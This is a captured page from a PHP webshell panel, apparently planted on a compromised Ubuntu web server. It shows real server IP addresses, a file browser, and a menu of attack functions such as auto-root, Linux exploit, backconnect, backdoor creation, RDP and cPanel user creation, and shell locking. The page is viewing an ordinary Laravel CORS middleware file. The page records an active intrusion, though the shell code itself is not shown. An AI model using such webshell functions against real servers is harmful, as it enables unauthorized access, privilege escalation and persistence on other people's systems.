Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 18.191.167.138
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
lionsclub /
core /
vendor /
fruitcake /
laravel-cors /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
CorsServiceProvider.php
3.26
KB
-rw-r--r--
HandleCors.php
3.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HandleCors.php
<?php namespace Fruitcake\Cors; use Closure; use Asm89\Stack\CorsService; use Illuminate\Foundation\Http\Events\RequestHandled; use Illuminate\Http\Request; use Illuminate\Contracts\Container\Container; use Symfony\Component\HttpFoundation\Response; class HandleCors { /** @var CorsService $cors */ protected $cors; /** @var \Illuminate\Contracts\Container\Container $container */ protected $container; public function __construct(CorsService $cors, Container $container) { $this->cors = $cors; $this->container = $container; } /** * Handle an incoming request. Based on Asm89\Stack\Cors by asm89 * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return Response */ public function handle($request, Closure $next) { // Check if we're dealing with CORS and if we should handle it if (! $this->shouldRun($request)) { return $next($request); } // For Preflight, return the Preflight response if ($this->cors->isPreflightRequest($request)) { $response = $this->cors->handlePreflightRequest($request); $this->cors->varyHeader($response, 'Access-Control-Request-Method'); return $response; } // Add the headers on the Request Handled event as fallback in case of exceptions if (class_exists(RequestHandled::class) && $this->container->bound('events')) { $this->container->make('events')->listen(RequestHandled::class, function (RequestHandled $event) { $this->addHeaders($event->request, $event->response); }); } // Handle the request $response = $next($request); if ($request->getMethod() === 'OPTIONS') { $this->cors->varyHeader($response, 'Access-Control-Request-Method'); } return $this->addHeaders($request, $response); } /** * Add the headers to the Response, if they don't exist yet. * * @param Request $request * @param Response $response * @return Response */ protected function addHeaders(Request $request, Response $response): Response { if (! $response->headers->has('Access-Control-Allow-Origin')) { // Add the CORS headers to the Response $response = $this->cors->addActualRequestHeaders($response, $request); } return $response; } /** * Determine if the request has a URI that should pass through the CORS flow. * * @param \Illuminate\Http\Request $request * @return bool */ protected function shouldRun(Request $request): bool { return $this->isMatchingPath($request); } /** * The the path from the config, to see if the CORS Service should run * * @param \Illuminate\Http\Request $request * @return bool */ protected function isMatchingPath(Request $request): bool { // Get the paths from the config or the middleware $paths = $this->container['config']->get('cors.paths', []); foreach ($paths as $path) { if ($path !== '/') { $path = trim($path, '/'); } if ($request->fullUrlIs($path) || $request->is($path)) { return true; } } return false; } }
Close